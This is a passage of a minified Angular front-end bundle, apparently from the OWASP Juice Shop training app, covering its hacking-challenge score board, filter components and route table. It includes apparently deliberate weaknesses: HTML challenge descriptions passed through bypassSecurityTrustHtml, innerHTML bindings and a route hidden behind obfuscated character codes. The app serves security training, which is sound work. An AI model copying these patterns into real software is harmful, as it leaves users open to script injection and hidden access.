o=structuredClone(this.filterSetting);o.categories=e,this.filterSettingChange.emit(o)}onSearchQueryFilterChange(e){const o=structuredClone(this.filterSetting);o.searchQuery=e,this.filterSettingChange.emit(o)}canBeReset(){return this.filterSetting.difficulties.length>0||null!==this.filterSetting.status||this.filterSetting.tags.length>0||this.filterSetting.categories.length>0||!!this.filterSetting.searchQuery||!this.filterSetting.showDisabledChallenges}openAdditionalSettingsDialog(){this.dialog.open(Iu)}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.uw))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["filter-settings"]],inputs:{allChallenges:"allChallenges",filterSetting:"filterSetting",reset:"reset"},outputs:{filterSettingChange:"filterSettingChange"},features:[t.TTD],decls:62,vars:40,consts:[[1,"filter-row"],[1,"search-form-field"],["matPrefix","",1,"search-icon"],["translate",""],["type","search","matInput","",3,"value","input"],[1,"options-group"],["multiple","",3,"value","selectionChange"],[4,"ngIf"],[3,"value"],[3,"difficulty"],["placeholder","All",3,"value","selectionChange"],["value","unsolved"],["value","partially-solved"],["value","solved"],[3,"value",4,"ngFor","ngForOf"],[1,"additional-settings-wrapper"],["id","reset-filters","mat-icon-button","","aria-label","reset all filters",3,"matTooltip","click"],["width","16","height","16","viewBox","0 0 16 16","fill","none","xmlns","http://www.w3.org/2000/svg"],["d","M12.2442 2.96672L9.56672 6.37922L10.6392 7.45172C11.4117 6.46922 14.3742 2.67422 14.3742 2.67422C14.7567 2.17922 14.4042 1.46672 13.7817 1.46672H4.65422L6.15422 2.96672H12.2442Z","fill","currentColor"],["d","M1.63922 0.574219L0.574219 1.63172L7.03172 8.21672V12.7167C7.03172 13.1292 7.36922 13.4667 7.78172 13.4667H9.28172C9.69422 13.4667 10.0317 13.1292 10.0317 12.7167V11.0892L14.3667 15.4242L15.4242 14.3667L1.63922 0.574219Z","fill","currentColor"],["for","reset-filters","translate","",1,"reset-filters-label"],["mat-icon-button","","aria-label","Open additional settings dialog",1,"additional-settings-button",3,"matTooltip","click"],[3,"categories","allChallenges","categoriesChange"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"div",1)(2,"mat-form-field")(3,"mat-icon",2),t._uU(4,"search"),t.qZA(),t.TgZ(5,"mat-label",3),t._uU(6,"NAV_SEARCH"),t.qZA(),t.TgZ(7,"input",4),t.NdJ("input",function(r){return o.onSearchQueryFilterChange(r.target.value)}),t.qZA()()(),t.TgZ(8,"div",5)(9,"mat-form-field")(10,"mat-label",3),t._uU(11,"LABEL_DIFFICULTY"),t.qZA(),t.TgZ(12,"mat-select",6),t.NdJ("selectionChange",function(r){return o.onDifficultyFilterChange(r.value)}),t.TgZ(13,"mat-select-trigger"),t.YNc(14,Eu,3,3,"ng-container",7),t.YNc(15,Mu,3,3,"span",7),t.qZA(),t.TgZ(16,"mat-option",8),t._UZ(17,"difficulty-stars",9),t.qZA(),t.TgZ(18,"mat-option",8),t._UZ(19,"difficulty-stars",9),t.qZA(),t.TgZ(20,"mat-option",8),t._UZ(21,"difficulty-stars",9),t.qZA(),t.TgZ(22,"mat-option",8),t._UZ(23,"difficulty-stars",9),t.qZA(),t.TgZ(24,"mat-option",8),t._UZ(25,"difficulty-stars",9),t.qZA(),t.TgZ(26,"mat-option",8),t._UZ(27,"difficulty-stars",9),t.qZA()()(),t.TgZ(28,"mat-form-field")(29,"mat-label",3),t._uU(30,"LABEL_STATUS"),t.qZA(),t.TgZ(31,"mat-select",10),t.NdJ("selectionChange",function(r){return o.onStatusFilterChange(r.value)}),t.TgZ(32,"mat-option",8),t._uU(33),t.ALo(34,"translate"),t.qZA(),t.TgZ(35,"mat-option",11),t._uU(36),t.ALo(37,"translate"),t.qZA(),t.TgZ(38,"mat-option",12),t._uU(39),t.ALo(40,"translate"),t.qZA(),t.TgZ(41,"mat-option",13),t._uU(42),t.ALo(43,"translate"),t.qZA()()(),t.TgZ(44,"mat-form-field")(45,"mat-label",3),t._uU(46,"LABEL_TAGS"),t.qZA(),t.TgZ(47,"mat-select",6),t.NdJ("selectionChange",function(r){return o.onTagFilterChange(r.value)}),t.YNc(48,Du,2,2,"mat-option",14),t.qZA()(),t.TgZ(49,"div",15)(50,"div")(51,"button",16),t.NdJ("click",function(){return o.reset()}),t.ALo(52,"translate"),t.O4$(),t.TgZ(53,"svg",17),t._UZ(54,"path",18)(55,"path",19),t.qZA()(),t.kcU(),t.TgZ(56,"label",20),t._uU(57,"LABEL_RESET_ALL_FILTERS"),t.qZA()(),t.TgZ(58,"button",21),t.NdJ("click",function(){return o.openAdditionalSettingsDialog()}),t.TgZ(59,"mat-icon"),t._uU(60,"settings"),t.qZA()()()()(),t.TgZ(61,"category-filter",22),t.NdJ("categoriesChange",function(r){return o.onCategoryFilterChange(r)}),t.qZA()),2&e&&(t.xp6(7),t.Q6J("value",o.filterSetting.searchQuery),t.xp6(5),t.Q6J("value",o.filterSetting.difficulties),t.xp6(2),t.Q6J("ngIf",0===o.filterSetting.difficulties.length),t.xp6(1),t.Q6J("ngIf",0!==o.filterSetting.difficulties.length),t.xp6(1),t.Q6J("value",1),t.xp6(1),t.Q6J("difficulty",1),t.xp6(1),t.Q6J("value",2),t.xp6(1),t.Q6J("difficulty",2),t.xp6(1),t.Q6J("value",3),t.xp6(1),t.Q6J("difficulty",3),t.xp6(1),t.Q6J("value",4),t.xp6(1),t.Q6J("difficulty",4),t.xp6(1),t.Q6J("value",5),t.xp6(1),t.Q6J("difficulty",5),t.xp6(1),t.Q6J("value",6),t.xp6(1),t.Q6J("difficulty",6),t.xp6(4),t.Q6J("value",o.filterSetting.status),t.xp6(1),t.Q6J("value",null),t.xp6(1),t.Oqu(t.lcZ(34,30,"STATUS_ALL")),t.xp6(3),t.Oqu(t.lcZ(37,32,"STATUS_UNSOLVED")),t.xp6(3),t.Oqu(t.lcZ(40,34,"STATUS_PARTIALLY_SOLVED")),t.xp6(3),t.Oqu(t.lcZ(43,36,"STATUS_SOLVED")),t.xp6(5),t.Q6J("value",o.filterSetting.tags),t.xp6(1),t.Q6J("ngForOf",o.tags),t.xp6(3),t.Q6J("matTooltip",t.lcZ(52,38,"LABEL_RESET_ALL_FILTERS")),t.xp6(2),t.Udp("color",o.canBeReset()?"var(--theme-warn)":"var(--theme-text-dark)"),t.xp6(5),t.Q6J("matTooltip","Open additional settings dialog"),t.xp6(3),t.Q6J("categories",o.filterSetting.categories)("allChallenges",o.allChallenges))},dependencies:[h.sg,h.O5,x.lW,f.KE,f.hX,f.qo,F.Hw,B.Nt,vt.gD,vt.$L,Gt.ey,Q.gM,u.Pi,Uu,$e,u.X$,Lu],styles:[".options-group[_ngcontent-%COMP%]{align-items:center;column-gap:16px;display:grid;grid-template-columns:repeat(3,1fr) min-content;row-gap:8px}@media (max-width: 800px){.options-group[_ngcontent-%COMP%]{grid-template-columns:auto}}.filter-row[_ngcontent-%COMP%]{display:grid;gap:16px;grid-template-columns:auto min-content min-content;margin-top:16px}@media (max-width: 1000px){.filter-row[_ngcontent-%COMP%]{grid-template-columns:auto}}.search-form-field[_ngcontent-%COMP%] mat-form-field[_ngcontent-%COMP%]{width:100%}.search-icon[_ngcontent-%COMP%]{align-items:flex-end;color:var(--theme-text-fade-30);display:flex;font-size:18px;line-height:12px;margin-right:4px}.reset-filters-label[_ngcontent-%COMP%]{color:var(--theme-text-fade-30)}@media (min-width: 800px){.reset-filters-label[_ngcontent-%COMP%]{display:none}}.additional-settings-wrapper[_ngcontent-%COMP%]{align-items:center;display:flex}.additional-settings-button[_ngcontent-%COMP%]{align-items:center;display:flex;justify-content:center}.additional-settings-button[_ngcontent-%COMP%] mat-icon[_ngcontent-%COMP%]{color:var(--theme-text-fade-30);font-size:16px;height:16px;line-height:16px;width:16px}"]}),n})(),Fu=(()=>{class n{constructor(){this.allChallenges=[]}ngOnInit(){this.updatedNumberOfSolvedChallenges()}ngOnChanges(e){this.updatedNumberOfSolvedChallenges()}updatedNumberOfSolvedChallenges(){this.solvedChallenges=this.allChallenges.filter(e=>e.solved).length}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["hacking-challenge-progress-score-card"]],inputs:{allChallenges:"allChallenges"},features:[t.TTD],decls:9,vars:6,consts:[[3,"description","total","score","showAsPercentage"],["right-side","",1,"icon-group"],["width","62","height","69","viewBox","0 0 62 69","fill","none","xmlns","http://www.w3.org/2000/svg"],["clip-path","url(#clip0_2_621)"],["d","M51.875 72.6249H29.125M51.875 72.6249V40.7749C51.875 40.1715 51.6353 39.5929 51.2087 39.1662C50.782 38.7396 50.2034 38.4999 49.6 38.4999H31.4C30.7966 38.4999 30.218 38.7396 29.7913 39.1662C29.3647 39.5929 29.125 40.1715 29.125 40.7749V72.6249M51.875 72.6249H72.35C72.9534 72.6249 73.532 72.3852 73.9587 71.9586C74.3853 71.5319 74.625 70.9533 74.625 70.3499V61.6291C74.625 61.0257 74.3853 60.447 73.9587 60.0204C73.532 59.5937 72.9534 59.3541 72.35 59.3541H54.15C53.5466 59.3541 52.968 59.5937 52.5413 60.0204C52.1147 60.447 51.875 61.0257 51.875 61.6291V72.6249ZM29.125 72.6249V54.0457C29.125 53.4424 28.8853 52.8637 28.4587 52.4371C28.032 52.0104 27.4534 51.7707 26.85 51.7707H8.65C8.04663 51.7707 7.46798 52.0104 7.04133 52.4371C6.61469 52.8637 6.375 53.4424 6.375 54.0457V70.3499C6.375 70.9533 6.61469 71.5319 7.04133 71.9586C7.46798 72.3852 8.04663 72.6249 8.65 72.6249H29.125ZM35.9727 12.3867L39.4194 5.08015C39.5124 4.87128 39.664 4.69384 39.8558 4.56933C40.0476 4.44481 40.2713 4.37854 40.5 4.37854C40.7287 4.37854 40.9524 4.44481 41.1442 4.56933C41.336 4.69384 41.4876 4.87128 41.5806 5.08015L45.031 12.3867L52.7357 13.5659C53.7253 13.7176 54.1197 14.9916 53.403 15.7196L47.8293 21.4071L49.145 29.4378C49.3118 30.4691 48.2805 31.2578 47.3933 30.7687L40.5 26.977L33.6068 30.7687C32.7233 31.254 31.6882 30.4691 31.855 29.4378L33.1707 21.4071L27.597 15.7196C26.8765 14.9916 27.2747 13.7176 28.2605 13.5659L35.9727 12.3867Z","stroke","var(--theme-text)","stroke-opacity","0.12","stroke-width","5.6875","stroke-linecap","round","stroke-linejoin","round"],["id","clip0_2_621"],["width","62","height","69","fill","var(--theme-text)"]],template:function(e,o){1&e&&(t.TgZ(0,"score-card",0),t.ALo(1,"translate"),t.TgZ(2,"div",1),t.O4$(),t.TgZ(3,"svg",2)(4,"g",3),t._UZ(5,"path",4),t.qZA(),t.TgZ(6,"defs")(7,"clipPath",5),t._UZ(8,"rect",6),t.qZA()()()()()),2&e&&t.Q6J("description",t.lcZ(1,4,"TITLE_HACKING_CHALLENGES"))("total",o.allChallenges.length)("score",o.solvedChallenges)("showAsPercentage",!0)},dependencies:[me,u.X$],styles:[".icon-group[_ngcontent-%COMP%]{align-items:flex-end;display:flex;height:100%;justify-content:flex-end}"]}),n})();function Bu(n,a){1&n&&(t.ynx(0),t._uU(1),t.ALo(2,"translate"),t.BQk()),2&n&&(t.xp6(1),t.hij(" ",t.lcZ(2,1,"SCORE_BOARD_LEGACY_NOTICE_NO_CONTACT")," "))}function Ru(n,a){1&n&&(t._UZ(0,"span",5),t.ALo(1,"translate")),2&n&&t.Q6J("innerHTML",t.lcZ(1,1,"SCORE_BOARD_LEGACY_NOTICE_WITH_CONTACT"),t.oJD)}let Yu=(()=>{class n{constructor(){this.applicationConfig=null}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["legacy-notice"]],inputs:{applicationConfig:"applicationConfig"},decls:10,vars:5,consts:[["warning-icon",""],["warning-text",""],[4,"ngIf","ngIfElse"],["noticeWithLinks",""],["warning-action","","mat-button","","routerLink","/score-board-legacy"],[3,"innerHTML"]],template:function(e,o){if(1&e&&(t.TgZ(0,"warning-card")(1,"mat-icon",0),t._uU(2,"texture"),t.qZA(),t.TgZ(3,"span",1),t.YNc(4,Bu,3,3,"ng-container",2),t.YNc(5,Ru,2,3,"ng-template",null,3,t.W1O),t.qZA(),t.TgZ(7,"a",4),t._uU(8),t.ALo(9,"translate"),t.qZA()()),2&e){const i=t.MAs(6);t.xp6(4),t.Q6J("ngIf",!(null!=o.applicationConfig&&null!=o.applicationConfig.application&&o.applicationConfig.application.showGitHubLinks))("ngIfElse",i),t.xp6(4),t.hij(" ",t.lcZ(9,3,"SCORE_BOARD_LEGACY_BACK")," ")}},dependencies:[h.O5,x.zs,F.Hw,U.rH,de,u.X$],encapsulation:2}),n})();const Ju=function(n){return{num:n}};function Qu(n,a){if(1&n&&(t.TgZ(0,"warning-card")(1,"mat-icon",1),t._uU(2,"school"),t.qZA(),t.TgZ(3,"span",2),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.hij(" ",t.xi3(5,1,"INFO_FULL_CHALLENGE_MODE",t.VKq(4,Ju,e.allChallenges.length))," ")}}let Hu=(()=>{class n{constructor(){this.applicationConfig=null,this.tutorialModeActive=null}ngOnChanges(){if(!this.applicationConfig?.challenges?.restrictToTutorialsFirst)return void(this.tutorialModeActive=!1);const e=this.allChallenges.filter(o=>null!==o.tutorialOrder).every(o=>o.solved);this.tutorialModeActive=!e}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["tutorial-mode-warning"]],inputs:{allChallenges:"allChallenges",applicationConfig:"applicationConfig"},features:[t.TTD],decls:1,vars:1,consts:[[4,"ngIf"],["warning-icon",""],["warning-text","",1,"tutorial-mode-warning-text"]],template:function(e,o){1&e&&t.YNc(0,Qu,6,6,"warning-card",0),2&e&&t.Q6J("ngIf",o.tutorialModeActive)},dependencies:[h.O5,F.Hw,de,u.X$],encapsulation:2}),n})();function Gu(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"filter-settings",6),t.NdJ("filterSettingChange",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.onFilterSettingUpdate(i))}),t.qZA()}if(2&n){const e=t.oxw();t.Q6J("filterSetting",e.filterSetting)("allChallenges",e.allChallenges)("reset",e.reset.bind(e))}}function ju(n,a){1&n&&(t.TgZ(0,"div",7),t._UZ(1,"mat-spinner"),t.qZA())}const Ku=function(n,a,e){return{solved:n,unsolved:a,disabled:e}};function Wu(n,a){if(1&n&&t._UZ(0,"challenge-card",15),2&n){const e=a.$implicit,o=t.oxw(3);t.Q6J("challenge",e)("applicationConfiguration",o.applicationConfiguration)("openCodingChallengeDialog",o.openCodingChallengeDialog.bind(o))("repeatChallengeNotification",o.repeatChallengeNotification.bind(o))("ngClass",t.kEZ(5,Ku,e.solved,!e.solved,null!==e.disabledEnv))}}function zu(n,a){if(1&n&&(t.TgZ(0,"div",13),t.YNc(1,Wu,1,9,"challenge-card",14),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.Q6J("ngForOf",e.filteredChallenges)("ngForTrackBy",e.getChallengeKey)}}function $u(n,a){1&n&&(t.TgZ(0,"div",17)(1,"p"),t._uU(2),t.ALo(3,"translate"),t.qZA()()),2&n&&(t.xp6(2),t.Oqu(t.lcZ(3,1,"NO_CHALLENGES_FOUND")))}function Vu(n,a){if(1&n&&t.YNc(0,$u,4,3,"div",16),2&n){const e=t.oxw(2);t.Q6J("ngIf",e.allChallenges.length>0)}}function Xu(n,a){if(1&n){const e=t.EpF();t.ynx(0),t.TgZ(1,"challenges-unavailable-warning",8),t.NdJ("filterSettingChange",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.onFilterSettingUpdate(i))}),t.qZA(),t._UZ(2,"tutorial-mode-warning",9),t.YNc(3,zu,2,2,"div",10),t.YNc(4,Vu,1,1,"ng-template",null,11,t.W1O),t._UZ(6,"img",12),t.BQk()}if(2&n){const e=t.MAs(5),o=t.oxw();t.xp6(1),t.Q6J("challenges",o.allChallenges)("filterSetting",o.filterSetting),t.xp6(1),t.Q6J("allChallenges",o.allChallenges)("applicationConfig",o.applicationConfiguration),t.xp6(1),t.Q6J("ngIf",o.filteredChallenges.length>0)("ngIfElse",e)}}let tp=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q){this.challengeService=e,this.codeSnippetService=o,this.configurationService=i,this.sanitizer=r,this.ngZone=l,this.io=m,this.dialog=v,this.router=A,this.route=q,this.allChallenges=[],this.filteredChallenges=[],this.filterSetting=structuredClone(qt),this.applicationConfiguration=null,this.isInitialized=!1,this.subscriptions=[]}ngOnInit(){const e=(0,Bc.aj)([this.challengeService.find({sort:"name"}),this.codeSnippetService.challenges(),this.configurationService.getApplicationConfiguration()]).subscribe(([i,r,l])=>{this.applicationConfiguration=l;const m=i.map(v=>({...v,tagList:v.tags?v.tags.split(",").map(A=>A.trim()):[],originalDescription:v.description,description:this.sanitizer.bypassSecurityTrustHtml(v.description),hasCodingChallenge:r.includes(v.key)}));this.allChallenges=m,this.filterAndUpdateChallenges(),this.isInitialized=!0});this.subscriptions.push(e);const o=this.route.queryParams.subscribe(i=>{this.rewriteLegacyChallengeDirectLink(i)||(this.filterSetting=function Rc(n){const a={...structuredClone(qt)};return n.searchQuery&&(a.searchQuery=n.searchQuery),n.difficulties&&(a.difficulties=n.difficulties.split(",").map(e=>parseInt(e,10)).filter(e=>!isNaN(e))),n.tags&&(a.tags=n.tags.split(",")),n.status&&(a.status=n.status),n.categories&&(a.categories=n.categories.split(",")),void 0!==n.showDisabledChallenges&&(a.showDisabledChallenges="true"===n.showDisabledChallenges),a}(i),this.filterAndUpdateChallenges())});this.subscriptions.push(o),this.io.socket().on("challenge solved",this.onChallengeSolvedWebsocket.bind(this)),this.io.socket().on("code challenge solved",this.onCodeChallengeSolvedWebsocket.bind(this))}ngOnDestroy(){this.io.socket().off("challenge solved",this.onChallengeSolvedWebsocket.bind(this)),this.io.socket().off("code challenge solved",this.onCodeChallengeSolvedWebsocket.bind(this));for(const e of this.subscriptions)e.unsubscribe()}onFilterSettingUpdate(e){this.router.navigate([],{queryParams:je(e)})}onChallengeSolvedWebsocket(e){e&&(this.allChallenges=this.allChallenges.map(o=>o.key===e.key?{...o,solved:!0}:{...o}),this.filterAndUpdateChallenges(),this.ngZone.run(()=>{}))}onCodeChallengeSolvedWebsocket(e){e&&(this.allChallenges=this.allChallenges.map(o=>o.key===e.key?{...o,codingChallengeStatus:e.codingChallengeStatus}:{...o}),this.filterAndUpdateChallenges(),this.ngZone.run(()=>{}))}filterAndUpdateChallenges(){this.filteredChallenges=function Qc(n){return(0,Ke.Z)(n,["difficulty","tutorialOrder","name"])}(function Yc(n,a){return n.filter(e=>0===a.categories.length||a.categories.includes(e.category)).filter(e=>0===a.difficulties.length||a.difficulties.includes(e.difficulty)).filter(e=>0===a.tags.length||e.tagList.some(o=>a.tags.includes(o))).filter(e=>null===a.status||a.status===function Jc(n){return n.solved?n.hasCodingChallenge?2===n.codingChallengeStatus?"solved":"partially-solved":n.solved?"solved":"unsolved":"unsolved"}(e)).filter(e=>null===e.disabledEnv||a.showDisabledChallenges).filter(e=>null===a.searchQuery||e.name.toLowerCase().includes(a.searchQuery.toLowerCase())||e.originalDescription.toLowerCase().includes(a.searchQuery.toLowerCase())).filter(e=>{if(!a.restrictToTutorialChallengesFirst)return!0;const o=n.filter(m=>null!==m.tutorialOrder),i=o.every(m=>m.solved);if(i)return!0;if(!i&&null===e.tutorialOrder)return!1;const r=o.filter(m=>!m.solved).map(m=>m.difficulty),l=Math.min(...r);return e.difficulty<=l})}(this.allChallenges,{...this.filterSetting,restrictToTutorialChallengesFirst:this.applicationConfiguration?.challenges?.restrictToTutorialsFirst??!0}))}getChallengeKey(e,o){return o.key}reset(){this.router.navigate([],{queryParams:je(qt)})}openCodingChallengeDialog(e){const o=this.allChallenges.find(i=>i.key===e);this.dialog.open(Ne,{disableClose:!0,data:{key:e,name:o.name,codingChallengeStatus:o.codingChallengeStatus}})}repeatChallengeNotification(e){var o=this;return(0,w.Z)(function*(){const i=o.allChallenges.find(r=>r.key===e);yield o.challengeService.repeatNotification(encodeURIComponent(i.name)).toPromise()})()}rewriteLegacyChallengeDirectLink(e){return!(!e.challenge||(console.warn(\'The "challenge=<name>" URL query parameter is deprecated! You should use "searchQuery=<name>" instead to link to a challenge directly. See https://pwning.owasp-juice.shop/companion-guide/latest/part4/integration.html#_generating_links_to_juice_shop for details.\'),e.searchQuery)||(this.router.navigate([],{queryParams:{...e,challenge:null,searchQuery:e.challenge}}),0))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ot),t.Y36(ne),t.Y36(b.e),t.Y36(k.H7),t.Y36(t.R0b),t.Y36(st),t.Y36(N.uw),t.Y36(U.F0),t.Y36(U.gz))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-score-board"]],decls:8,vars:7,consts:[[1,"score-row"],[3,"allChallenges"],[3,"filterSetting","allChallenges","reset","filterSettingChange",4,"ngIf"],[3,"applicationConfig"],["class","loading-spinner-wrapper",4,"ngIf"],[4,"ngIf"],[3,"filterSetting","allChallenges","reset","filterSettingChange"],[1,"loading-spinner-wrapper"],[3,"challenges","filterSetting","filterSettingChange"],[3,"allChallenges","applicationConfig"],["class","challenges",4,"ngIf","ngIfElse"],["emptyChallenges",""],["src","assets/public/images/padding/1px.png"],[1,"challenges"],[3,"challenge","applicationConfiguration","openCodingChallengeDialog","repeatChallengeNotification","ngClass",4,"ngFor","ngForOf","ngForTrackBy"],[3,"challenge","applicationConfiguration","openCodingChallengeDialog","repeatChallengeNotification","ngClass"],["class","empty-challenges",4,"ngIf"],[1,"empty-challenges"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0),t._UZ(1,"hacking-challenge-progress-score-card",1)(2,"coding-challenge-progress-score-card",1)(3,"difficulty-overview-score-card",1),t.qZA(),t.YNc(4,Gu,1,3,"filter-settings",2),t._UZ(5,"legacy-notice",3),t.YNc(6,ju,2,0,"div",4),t.YNc(7,Xu,7,6,"ng-container",5)),2&e&&(t.xp6(1),t.Q6J("allChallenges",o.allChallenges),t.xp6(1),t.Q6J("allChallenges",o.allChallenges),t.xp6(1),t.Q6J("allChallenges",o.allChallenges),t.xp6(1),t.Q6J("ngIf",!1===(null==o.applicationConfiguration?null:o.applicationConfiguration.challenges.restrictToTutorialsFirst)),t.xp6(1),t.Q6J("applicationConfig",o.applicationConfiguration),t.xp6(1),t.Q6J("ngIf",!1===o.isInitialized),t.xp6(1),t.Q6J("ngIf",!0===o.isInitialized))},dependencies:[h.mk,h.sg,h.O5,We.Ou,su,_u,Tu,Su,qu,Fu,Yu,Hu,u.X$],styles:["[_nghost-%COMP%]{display:block;margin:48px 72px}@media (max-width: 1500px){[_nghost-%COMP%]{margin:48px 64px}}@media (max-width: 900px){[_nghost-%COMP%]{margin:48px}}@media (max-width: 600px){[_nghost-%COMP%]{margin:32px 16px}}.score-row[_ngcontent-%COMP%]{column-gap:16px;display:grid;grid-template-columns:repeat(3,1fr);min-height:120px;row-gap:8px}@media (max-width: 1500px){.score-row[_ngcontent-%COMP%]{grid-template-columns:repeat(3,1fr)}}@media (max-width: 900px){.score-row[_ngcontent-%COMP%]{grid-template-columns:repeat(2,1fr)}}@media (max-width: 600px){.score-row[_ngcontent-%COMP%]{grid-template-columns:repeat(1,1fr)}}.challenges[_ngcontent-%COMP%]{column-gap:16px;display:grid;grid-template-columns:repeat(4,1fr);margin-top:32px;row-gap:12px}@media (max-width: 1500px){.challenges[_ngcontent-%COMP%]{grid-template-columns:repeat(3,1fr)}}@media (max-width: 900px){.challenges[_ngcontent-%COMP%]{grid-template-columns:repeat(2,1fr)}}@media (max-width: 600px){.challenges[_ngcontent-%COMP%]{grid-template-columns:repeat(1,1fr)}}.empty-challenges[_ngcontent-%COMP%]{align-items:center;display:flex;flex-direction:column;justify-content:center;margin:0 32px;min-height:20vh}.loading-spinner-wrapper[_ngcontent-%COMP%]{align-items:center;display:flex;justify-content:center;padding:64px;width:100%}"]}),n})();const ep=function(){var n=(0,w.Z)(function*(){return(yield Promise.all([c.e(98),c.e(592),c.e(67)]).then(c.bind(c,9067))).FaucetModule});return function(){return n.apply(this,arguments)}}(),np=function(){var n=(0,w.Z)(function*(){return(yield Promise.all([c.e(98),c.e(592),c.e(745)]).then(c.bind(c,7745))).WalletWeb3Module});return function(){return n.apply(this,arguments)}}(),op=function(){var n=(0,w.Z)(function*(){return(yield Promise.all([c.e(98),c.e(202)]).then(c.bind(c,6202))).FaucetModule});return function(){return n.apply(this,arguments)}}(),ap=[{path:"administration",component:wa,canActivate:[Ot]},{path:"accounting",component:_l,canActivate:[Ut]},{path:"about",component:Kn},{path:"address/select",component:rs,canActivate:[W]},{path:"address/saved",component:ss,canActivate:[W]},{path:"address/create",component:Re,canActivate:[W]},{path:"address/edit/:addressId",component:Re,canActivate:[W]},{path:"delivery-method",component:Tc},{path:"deluxe-membership",component:Mc,canActivate:[W]},{path:"saved-payment-methods",component:Hs},{path:"basket",component:_n},{path:"order-completion/:id",component:Dl},{path:"contact",component:Bn},{path:"photo-wall",component:Lc},{path:"complain",component:Ra},{path:"chatbot",component:Ga},{path:"order-summary",component:Yl},{path:"order-history",component:cc},{path:"payment/:entity",component:Qs},{path:"wallet",component:Hl},{path:"login",component:jo},{path:"forgot-password",component:Co},{path:"recycle",component:vi},{path:"register",component:ro},{path:"search",component:$t},{path:"hacking-instructor",component:$t},{path:"score-board",component:tp},{path:"score-board-legacy",component:Er},{path:"track-result",component:fe},{path:"track-result/new",component:fe,data:{type:"new"}},{path:"2fa/enter",component:Dr},{path:"privacy-security",component:Fr,children:[{path:"privacy-policy",component:zr},{path:"change-password",component:La},{path:"two-factor-authentication",component:Yr},{path:"data-export",component:Kr},{path:"last-login-ip",component:Wr}]},{path:"juicy-nft",component:Fc},{path:"wallet-web3",loadChildren:(n=(0,w.Z)(function*(){return yield np()}),function(){return n.apply(this,arguments)})},{path:"web3-sandbox",loadChildren:function(){var n=(0,w.Z)(function*(){return yield op()});return function(){return n.apply(this,arguments)}}()},{path:"bee-haven",loadChildren:function(){var n=(0,w.Z)(function*(){return yield ep()});return function(){return n.apply(this,arguments)}}()},{matcher:function rp(n){return 0===n.length?null:window.location.href.includes("#access_token=")?{consumed:n}:null},data:{params:window.location.href.substr(window.location.href.indexOf("#"))},component:Bt},{matcher:function sp(n){return 0===n.length?null:n[0].toString().match(function lp(...n){const a=Array.prototype.slice.call(n),e=a.shift();return a.reverse().map(function(o,i){return String.fromCharCode(o-e-45-i)}).join("")}(25,184,174,179,182,186)+36669..toString(36).toLowerCase()+function cp(...n){const a=Array.prototype.slice.call(arguments),e=a.shift();return a.reverse().map(function(o,i){return String.fromCharCode(o-e-24-i)}).join("")}(13,144,87,152,139,144,83,138)+10..toString(36).toLowerCase())?{consumed:n}:null},component:gt},{path:"403",component:qr},{path:"**",component:$t}],ip=U.Bz.forRoot(ap,{useHash:!0});var n,up=c(2101),tn=c(3447);let he=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/admin"}getApplicationVersion(){return this.http.get(this.host+"/application-version").pipe((0,C.U)(e=>e.version),(0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),pp=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer}getLanguages(){return this.http.get(`${this.hostServer}/rest/languages`).pipe((0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var yt=c(3683),Ft=c(8255),en=c(2855);function dp(n,a){1&n&&(t.TgZ(0,"button",38)(1,"mat-icon"),t._uU(2," exit_to_app "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"TITLE_LOGIN")," "))}function mp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",39),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.goToProfilePage())}),t.TgZ(1,"mat-icon"),t._uU(2," account_circle "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(4),t.hij(" ",e.userEmail," ")}}function gp(n,a){1&n&&(t.TgZ(0,"button",40)(1,"mat-icon"),t._uU(2," account_balance "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"ACCOUNTING")," "))}function hp(n,a){if(1&n&&(t.TgZ(0,"button",41)(1,"mat-icon"),t._uU(2," check_circle_outline "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){t.oxw();const e=t.MAs(71);t.Q6J("matMenuTriggerFor",e),t.xp6(4),t.hij(" ",t.lcZ(5,2,"ORDERS_AND_PAYMENT")," ")}}function _p(n,a){if(1&n&&(t.TgZ(0,"button",42)(1,"mat-icon"),t._uU(2," security "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){t.oxw();const e=t.MAs(38);t.Q6J("matMenuTriggerFor",e),t.xp6(4),t.hij(" ",t.lcZ(5,2,"PRIVACY_AND_SECURITY")," ")}}function fp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",43),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.logout())}),t.TgZ(1,"mat-icon"),t._uU(2," 